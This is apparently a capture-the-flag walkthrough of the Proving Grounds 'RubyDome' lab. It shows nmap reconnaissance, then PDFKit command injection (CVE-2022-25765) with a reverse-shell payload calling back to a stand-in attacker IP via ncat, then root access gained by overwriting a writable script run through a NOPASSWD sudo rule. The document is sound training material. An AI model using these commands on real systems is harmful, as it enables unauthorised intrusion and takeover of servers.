Skip to content

RubyDome Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

RubyDome runs a Ruby HTML-to-PDF web app on port 3000 that uses the PDFKit gem. PDFKit is vulnerable to CVE-2022-25765, a command injection through the URL field, which gives a shell as andrew. A NOPASSWD sudo rule lets andrew run a writable Ruby script as root, so overwriting it with a shell payload gives root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
3000/tcp open  http    WEBrick httpd 1.7.0 (Ruby 3.0.2)
|_http-title: RubyDome HTML to PDF
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Port 3000 serves a RubyDome HTML-to-PDF form. Submitting an invalid URL triggers a 500 error that reveals PDFKit::ImproperWkhtmltopdfExitStatus, so the app uses the PDFKit gem, which is vulnerable to CVE-2022-25765.

Exploitation

PDFKit command injection (CVE-2022-25765)

PDFKit passes the URL to wkhtmltopdf without sanitising shell metacharacters. Start a listener and run the public exploit against the url parameter.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -w 'http://$TARGET_IP:3000/pdf' -p url -c 'ncat -e /bin/bash $ATTACKER_IP $ATTACKER_PORT'
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
whoami
andrew
Explain command
-w Target endpoint.
-p Vulnerable parameter.
-c Command to inject.

The listener catches a shell as andrew. Check the sudo rights.

Privilege Escalation

Writable sudo script

List the sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User andrew may run the following commands on rubydome:
    (ALL) NOPASSWD: /usr/bin/ruby /home/andrew/app/app.rb

andrew can run /home/andrew/app/app.rb as root through Ruby, and the script is writable. Overwrite it with a payload that spawns a shell.

┌──(kali㉿kali)-[~]
└─$ echo 'exec "/bin/bash"' > /home/andrew/app/app.rb
┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/ruby /home/andrew/app/app.rb
$ echo 'exec "/bin/bash"' > /home/andrew/app/app.rb
$ sudo /usr/bin/ruby /home/andrew/app/app.rb
# id
uid=0(root) gid=0(root) groups=0(root)

The writable script runs as root, giving a root shell.

References